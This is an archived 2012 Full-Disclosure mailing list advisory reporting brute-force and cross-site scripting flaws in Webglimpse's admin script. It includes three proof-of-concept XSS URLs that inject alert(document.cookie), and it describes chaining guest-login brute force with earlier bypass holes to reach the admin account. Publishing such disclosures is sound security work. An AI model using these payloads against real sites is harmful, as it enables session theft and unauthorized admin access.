full-disclosure - Brute Force and XSS vulnerabilities in Webglimpse

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 26 Feb 2012 23:54:02 +0200
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: Brute Force and XSS vulnerabilities in Webglimpse

Hello list!

I want to warn you about new security vulnerabilities in Webglimpse (in
addition to previous ones). These are Brute Force and Cross-Site Scripting
vulnerabilities.

During 2008-2009 I've disclosed multiple vulnerabilities in Webglimpse
(http://securityvulns.com/source15611.html), such as Cross-Site Scripting,
Full path disclosure, Directory Traversal and Authorization bypass
vulnerabilities.

SecurityVulns ID: 9436
SecurityVulns ID: 9443
SecurityVulns ID: 9778
SecurityVulns ID: 9876

The first hole from them I've found already in 2007, when found
vulnerability at site of Britain's Secret Intelligence Service (MI6, SIS),
which was using this engine. Webglimpse - it's local search engine.

-------------------------
Affected products:
-------------------------

Vulnerable are Webglimpse 2.18.8 and previous versions. It was tested in
Webglimpse 2.18.7 and 2.18.8, but the last version 2.20.0 (released this
month) also should be vulnerable.

Developers of Webglimpse were informed as this time, as four previous times,
but they ignored all of the warnings and haven't fixed all these holes (at
least officially).

----------
Details:
----------

Brute Force (WASC-11):

http://site/wgarcmin.cgi

Lack of protection against Brute Force attacks can be used to gain access to
admin panel. At that it's possible to pick up login and password to guest
account (if they aren't publicly available), which can be easier then to
admin account, and then to use earlier mentioned Directory Traversal and
Authorization bypass vulnerabilities to gain access to admin account.

XSS (WASC-08):

http://site/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://site/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://site/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/3089/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/